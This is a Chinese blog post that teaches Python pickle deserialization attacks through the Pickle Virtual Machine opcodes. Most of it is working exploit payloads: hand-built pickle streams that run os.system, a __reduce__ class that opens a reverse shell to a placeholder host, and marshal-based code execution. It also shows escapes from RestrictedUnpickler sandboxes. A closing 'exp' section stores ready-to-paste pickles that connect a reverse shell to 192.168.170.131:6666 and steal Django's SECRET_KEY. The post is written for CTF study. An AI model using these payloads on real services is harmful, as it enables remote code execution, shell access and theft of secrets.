Diggid's Blog

pickle反序列化总结

字数统计: 5.2k阅读时长: 23 min
2021/02/08 Share

0x01 前言

首先是自己对于python方面的安全比较薄弱,而在近几天做到了pickle反序列化的题目,发现对于使用PVM指令构造pickle序列化数据流比较有意思,特此总结一下pickle相关的知识点

0x02 序列化与反序列化

方法和实例

环境:python v3.8.3

对于pickle模块,与序列化与反序列化相关的方法:

  • pickle.dumps(object):序列化一个对象
  • pickle.dump(文件描述符):从文件中获取对象
  • pickle.load(bytes):对一串pickle数据流进行反序列化
  • pickle.load(文件描述符):从文件中获取pickle序列化流

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
class People(object):
def __init__(self,name = "diggid"):
self.name = name

def say(self):
print("Hello!")

object = People()
byte = pickle.dumps(object)
print(byte)
#del People
reobject = pickle.loads(byte)
reobject.say()

image-20210124211429482

我们暂且先不考虑序列化的字节流内容是什么,但我们可以在序列化字节流中发现类名、属性、以及属性值。

序列化过程

用通俗的语言来描述序列化和反序列化过程:

1.序列化过程

  • 从对象提取所有属性,并将属性转化为名值对
  • 写入对象的类名
  • 写入名值对

2.反序列化过程

  • 获取pickle字节流
  • 重建属性列表
  • 根据类名创建一个新的对象
  • 将属性列表中的属性赋值到新的对象中

注意:反序列化创建对象过程的上下文是当前环境,因此需要当前环境满足反序列化中使用的方法(也就是说,外部库的方法需要在上文中import,内置库的方法不需要,可自行索引)

0x03 PVM和pickle

pickle是什么

在0x02中所讲的部分是pickle在python中的实现接口(API),而对于pickle,我们需要知道其底层的一些东西。

pickle是一种栈语言,有不同的编写方式,基于一个轻量的PVM(Pickle Virtual Machine)

PVM 组成

了解PVM的组成对指令的理解有帮助作用。PVM由三部分组成

  1. 指令处理器:从流中读取opcode(操作码)和参数,并对其进行解释处理。重复这个动作,直到遇到.(表示结束)才停止。最终留在栈顶的值将被作为反序列化对象返回(因此我可以操控反序列化的结果,返回的不一定是一个对象,也可能是其他的数据类型)

  2. stack:由python的list实现,遵循栈的原则,被用来临时存储数据、参数以及对象

  3. memo:有python的dict实现,为PVM的整个生命周期踢狗存储。可以理解为辅助stack存储操作的区域

当前用于解释pickling的协议一共有 5 中。版本越高,所需python越新

  1. v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。

  2. v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。

  3. v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307

  4. v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。

  5. v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

我们待会要构造的pickle字节流就是使用v0协议

指令集

指令集汇总如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MARK           = b'('   # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

可能我们在构造的时候不需要完全知道这么多,这里列举重要的如下:

  • (:两个作用:1.和tld等配合组成相应类型的参数;2.作为命令执行到哪的标记(和R有关)

  • t:将从t到标记(的全部元素组合成一个元组,放入栈顶

  • R:通常和t搭配,先从栈中取出元组形式的参数,再寻找可调用函数(到(停止),执行结果放回栈中

  • d:将从t到标记(的全部元素以键值对的形式组合成一个字典,放入栈顶

  • S:后接字符串,需换行\n

  • I:后接数字,需换行\n

  • c:定义模块名和类名、方法名等。c<module>\n<method>\n两次\n

  • }:设置一个空字典

  • s:**弹出栈中3个元素(value,key,dict)**,以键值对的形式放入字典中

  • b:**弹出栈中2个元素(dict,object)**,赋值操作(通常放到最后进行赋值操作,相当于调用了__dict__.update())

  • 0弹出栈顶单元

  • p<index>:从stack中copy栈顶数据到memo区,需换行\n

  • g<index>:从memo区取出对应index的数据放到栈顶,需换行\n

  • .弹出栈顶单元作为序列化的结果(可能是string等,不一定是一个class的实例),注意:如果在反序列化过程中执行的代码有回显的,直接就会输出,而不是最终要放到栈顶才能输出,栈顶的结果只是为了反序列化后便于赋值给某个变量

详细的指令说明如下:

image-20210127152356800

image-20210127152326686

image-20210127152418810

实例1

假设我们要执行

os.system(‘whoami’)

构造如下:

1
2
3
4
5
6
7
8
import pickle

payload = '''cos
system
(S'whoami'
tR.'''

user = pickle.loads(payload)

这个是最简单的payload了

实例2

上面的命令执行换一个写法,假如要执行getattr(getattr(dict,'get')(globals(), '__builtins__'), 'eval')('__import__("os").system("whoami")')

1
2
3
4
5
6
7
8
9
10
11
12
13
cbuiltins
getattr
(c__builtins__
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.

下面会介绍常用情况下的构造方法和bypass方法(bypass导入模块的限制)

0x04 常规利用

利用1 __reduce__

在了解利用方法之前我们需要知道新式类(内置类)和旧式类(自建类)。具体可以参考bendawang师傅博客

对于python2,两者的表现形式是不同的,并且实例化的对象的性质也是不同的

1
2
3
4
5
6
7
8
9
10
11
# 旧式
class A():
pass
a = A()
type(a) # <type 'instance'>

# 新式
class A(object):
pass
a = A()
type(a) # <class '__main__.A'>

在python3中,两个是一样的。对于新式类,其具有__reduce__(旧式类无)魔术方法,这个是实现反序列化的关键方法

__reduce__

我们可以通过这个魔术方法来告知应该如何进行序列化或反序列化,先看如下实例代码

1
2
3
4
5
6
7
8
9
import pickle
import os
class People():
def __reduce__(self):
return (os.system, ('whoami',))

object = People()
byte = pickle.dumps(object)
reobject = pickle.loads(byte)

上述代码会执行os.system('ls'),这个方法的关键点在返回值,返回值的类型可以是String或tuple,当返回值是tuple时,可以提供2到5个参数,我们重点关注前两个,第一个参数是callable,第二个参数则是callable的参数,以元组形式存放,因此我们必须这么写('arg1','arg2',...),当只有一个参数时,最后的逗号不能省略。因此我们就可以通过__reduce__来执行任意代码了(这里的任意代码还不能是完整的代码块,只是一个方法)

还可以反弹shell

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os
class People():
def __reduce__(self):
payload = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
#常规的反弹shell也可以
return (os.system, (payload,))

object = People()
byte = pickle.dumps(object)
reobject = pickle.loads(byte)

问题

python是面向对象的语言,基于面向对象的特性,我们可以反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类,有外部类),还可以反序列化用types动态创建的匿名对象(下面的利用方法),但要注意的是,我们不能反序列化代码对象(code object),什么是代码对象呢?就是一个完整的代码块构成的对象,和正常的代码结构一样,如下

1
2
3
4
5
6
7
8
def test():
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print ('fib(10) =', fib(10))
os.system('/bin/sh')

test函数中的那一块就是code object,而我们不能利用pickle序列化代码对象

1
pickle.dumps(test.__code__) #TypeError: cannot pickle 'code' object

利用2 types.FunctionType

为了解决上述问题,我们需要一个支持序列化代码对象的模块marshal

该模块可以序列化代码对象,但是有了代码对象,这个代码对象如何作为函数来执行呢,也就是上述定义的test()函数如何才能执行呢

这时候就需要types模块的支持,该模块中types.FunctionType方法可用来创建动态的匿名函数,有点类似于js中的匿名函数或箭头函数。

1
types.FunctionType(marshal.loads(base64.b64decode(enc_bytes)), globals(), '')()

上述payload即可构造匿名函数并执行。我们把marshal.dumps的序列化串base64编码美观一些,然后再解码并反序列化

实例

执行上面问题中的test()函数对于的代码对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import marshal
import base64
import types
def test():
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print ('fib(10) =', fib(10))
os.system('whoami')
enc_bytes = base64.b64encode(marshal.dumps(test.__code__))
types.FunctionType(marshal.loads(base64.b64decode(enc_bytes)), globals(), '')()

image-20210126100613748

但实际上,我们大部分时候需要直接根据types.FunctionType(marshal.loads(base64.b64decode(enc_bytes)), globals(), '')()这个payload来写pickle:

1
2
3
4
5
6
7
8
9
10
11
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'enc_bytes'
tRtRc__builtin__
globals
(tRS''
tR(tR.

因此我们可以得出一个payload模板,只需要改变enc_bytes部分即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import marshal
import base64

def test():
pass # Your code here

payload = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(test.__code__))

print(payload)

from sys import modules
modules['sys'] = modules['os']
from sys import system

0x05 常用技巧

1.内置builtins,引入直接模块名

1
2
3
4
5
6
7
8
9
10
# import os
cos
system

# 内置
cbuiltins
getattr

c__builtin__
getattr

残留了一个问题,在python v3.8.3环境下,__builtin____builtins__是等价的,builtins是需要import builtins才能使用的,但是在pickle反序列化时,如果使用__builtins__会报错 No module named '__builtins__',但是使用其他两个就可以?(待研究)

2.模块.类.方法写法的转换

至于为什么这么说,我们先看一个例子。还是上面的

1
getattr(getattr(dict,'get')(globals(), '__builtins__'), 'eval')('__import__("os").system("whoami")')

其实是从下面来的

1
getattr(dict.get(globals(), '__builtins__'), 'eval')('__import__("os").system("whoami")')

dict是内置的type,因此我们引用dict.get的方式是builtins.dict.get,而c指令并不支持三层的<module>.<class>.<method>,因此我们需要转换一下,因此如果在可以改写的条件下,尽量将<module>.<class>.<method>的写法改写为

1
builtins.getattr(builtins.dict, 'get')

更改后的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.

本地测试成功执行:

image-20210126120201926

3.创建对象(更新对象属性)

跟创建对象(构造某个对象)相关的指令有sb}等,假设我们定义了如下类

1
2
3
4
5
import pickle_test # 假设要import pickle_test这个自定义的包
class test(): # pickle_test.test类
def __init__(self, name = 'diggid', age = 10):
self.name = name
self.age = age

初始时{'name' : 'diggid', 'age' : 10}

我们要改变值,可用如下payload

1
2
3
4
5
6
7
cpickle_test
test
}S'name'
S'change_name'
sS'age'
I20
sb.
  • }:创建一个空字典,相当于创建一个空对象pickle_test.test,可以为其中添加属性名值对
  • 'name'为key,'change_name'为value,指令s,将这一对key+value添加进空字典
  • 第二对同理
  • 最后指令b相当于__dict__.update()完成属性的赋值

相关指令的作用

  • c:导入类
  • {s:创建字典,该字典相当于属性名值对
  • b:弹出dict和object,用dict来更新object的属性名值对,从而创建出object

4.结合沙箱逃逸

1.限制module

前面说到的pickle面向对象的好用特性就是它能方便的引用任意外置模块,内置模块就更不用说了,这时候就会出现安全问题,所以pickle中定制了RestrictedUnpickler类来限制全局变量以及模块的引入,其中Unpickler.find_class()这个方法里设置限制条件,实例代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import builtins
import io
import pickle

safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
# Only allow safe classes from builtins.既限制模块又限制类或方法
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

假设我们上面的代码改变为限制模块只能使用sys,即module == "sys",要如何沙箱逃逸来RCE呢,先看下面的流程

1
2
3
4
5
import sys
sys.modules['sys'] = sys.modules # sys.modules模块是dict
import sys # 重新导入sys,此时已经为dict类型
sys = sys.get('os') # dict用get取出os
sys.system('whoami') # sys.system == os.system

转换为pickle如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csys
modules
p100
S'sys'
g100
scsys
get
(S'os'
tRp101
0S'sys'
g101
scsys
system
(S'whoami'
tR.

栈的情况(简化版):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# c
sys.modules

# S
'sys'
sys.modules

# g
sys.modules
'sys'
sys.modules

# s
sys.modules <= 'sys' : sys.modules # 此时csys指令import的模块相当于sys.modules了

# c
sys.get
sys.modules

# S
'os'
sys.get
sys.modules

# tR
os == sys.get('os')
sys.modules

# 0
sys.modules

# S
'sys'
sys.modules

# g
os == sys.get('os')
'sys'
sys.modules

# s
sys.modules <= 'sys' : os

# c
sys.system == os.system
sys.modules

# S
'whoami'
sys.system == os.system
sys.modules

# tR
'diggid\86188'
sys.modules

# . 弹出栈顶的结果作为反序列化的结果,最后栈不为空,也可以最后使用0清空一下
sys.modules

上述栈过程可以清楚的看到所有调用的模块都是sys,因此可以实现沙箱逃逸

注意前5行的写法,为什么我们不直接先压'sys',然后压sys.modules,最后s将键值对压入字典呢?

1
2
3
4
S'sys'
csys
modules
s

这时会报错unpickling stack underflow,回想一下前面所说的s这个opcode的操作数需要3个。注意到s指令是从栈顶开始取出3个单元的内容,依次为value、key、dict,如果按上面直接先压'sys'入栈,其在第一个单元,再压入sys.modules在第二个单元,因此执行s不满足弹出3个单元,故会报错向下溢出(用pickletools.dir()会报错tries to pop 3 items from stack with only 2 items)。如果是采用先压sys.modules,然后我们p100存,再压入'sys',再g100将memo中存储的sys.modulespush回栈顶,由于sys.modules是dict,这时栈中刚好满足value(sys.modules)、key(‘sys’)、dict(sys.modules)就可以执行s

2.限制模块仅为__builtin__且设置内置函数白名单

限制如下

1
2
safe_builtins = ['getattr', 'globals', 'dict']
module == "builtins" and name in safe_builtins

根据限制,我们不能够直接使用os.system,所以我们需要从已知条件中导出。由于上下文中有pickle,可以在globals()中得到pickle模块,那么可以再次调用loads方法来执行os.system('whoami'),也就是两层loads:

1
getattr(globals()['pickle'],'loads')(bytes('cos\\nsystem\\n(S\\'whoami\\'\\ntR.'),'utf-8')

转换成方便写pickle的格式

1
getattr(getattr(dict,'get')(globals(),'pickle'),'loads')(bytes('cos\\nsystem\\n(S\\'whoami\\'\\ntR.'),'utf-8')

写成pickle如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
c__builtin__
globals
(tRp100
0c__builtin__
getattr
(c__builtin__
dict
S'get'
tRp101
(g100
S'pickle'
tRp102
0c__builtin__
bytes
(S'cos\\nsystem\\n(S\\'whoami\\'\\ntR.'
S'utf-8'
tRp103
0c__builtin__
getattr
(g102
S'loads'
tR(g103
tR.

也可以一下子从左到右顺着写完,但感觉上面的更好

5.访问类实例的方法

这一部分因能力有限,仅能在python2中使用apply方法,未能在python3中实现

对于os.popen('whoami').read()需要访问类实例的具体方法的类似结构<module>.<class>.<method>,而c仅支持<module>.<class|method>,因此我们没有办法直接处理。虽然我们能够使用getattr(os.popen('whoami'), 'read')来获取os._wrap_close实例的read()方法,但是我们并不能read(os.popen('whoami'))这样使用。因此在python2中需要apply方法(注意:在python3中已经移除),我们可以执行apply(getattr(__builtin__.file, 'read'), [os.popen('whoami')])(注意:在python3删去了__builtin__.file),因此写成pickle如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cos
popen
(S'whoami'
tRp100
0c__builtin__
getattr
(c__builtin__
file
S'read'
tRp101
0c__builtin__
apply
(g101
(g100
ltR.

在python3中没有找到一个很好的方法来替代apply,目前还没有找有简便的方法能直接实现os.popen('whoami').read(),但是仍然能够使用上面说到的typs.FunctionType来实现,但就比较麻烦了,感觉是小题大做了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle
import base64
import marshal
import os

def test():
print(os.popen('whoami').read())

payload = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(test.__code__))

user = pickle.loads(payload)

0x06 常用exp

这里存一些比较长的exp,方便用

反弹shell

1
c__builtin__\ngetattr\np99\n(c__builtin__\ndict\nS'get'\ntRp100\n(csocket\n__dict__\np101\nS'AF_INET'\ntRp102\n0g100\n(g101\nS'SOCK_STREAM'\ntRp103\n0csocket\nsocket\n(g102\ng103\ntRp104\n0g99\n(g104\nS'connect'\ntR((S'192.168.170.131'\nI6666\nttR0cos\ndup2\n(g99\n(g104\nS'fileno'\ntRp105\n(tRI0\ntR0cos\ndup2\n(g105\n(tRI1\ntR0cos\ndup2\n(g105\n(tRI2\ntR0csubprocess\ncall\n((S'/bin/bash'\nS'-i'\nltR.

Django

获取配置中的‘SECRET_KEY

1
cdjango.conf\nsettings\np100\n0c__builtin__\ngetattr\n(g100\nS'SECRET_KEY'\ntRp101\n0g101\n

两次loads沙箱逃逸

1
c__builtin__\nglobals\n(tRp100\n0c__builtin__\ngetattr\n(c__builtin__\ndict\nS'get'\ntRp101\n(g100\nS'pickle'\ntRp102\n0c__builtin__\nbytes\n(S'cos\\nsystem\\n(S'whoami'\\ntR.'\nS'utf-8'\ntRp103\n0c__builtin__\ngetattr\n(g102\nS'loads'\ntR(g103\ntR.

0x07 参考

https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

https://adrianstoll.com/computer-insecurity/python-in-a-pickle.html#5

https://www.anquanke.com/post/id/188981#h3-11

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/2289#toc-1

https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

https://zhuanlan.zhihu.com/p/25981037

https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

CATALOG
  1. 1. 0x01 前言
  2. 2. 0x02 序列化与反序列化
    1. 2.1. 方法和实例
    2. 2.2. 序列化过程
  3. 3. 0x03 PVM和pickle
    1. 3.1. pickle是什么
    2. 3.2. PVM 组成
    3. 3.3. 指令集
  4. 4. 0x04 常规利用
    1. 4.1. 利用1 __reduce__
    2. 4.2. 问题
    3. 4.3. 利用2 types.FunctionType
  5. 5. 0x05 常用技巧
    1. 5.1. 1.内置builtins,引入直接模块名
    2. 5.2. 2.模块.类.方法写法的转换
    3. 5.3. 3.创建对象(更新对象属性)
    4. 5.4. 4.结合沙箱逃逸
    5. 5.5. 5.访问类实例的方法
  6. 6. 0x06 常用exp
    1. 6.1. 反弹shell
    2. 6.2. Django
    3. 6.3. 两次loads沙箱逃逸
  7. 7. 0x07 参考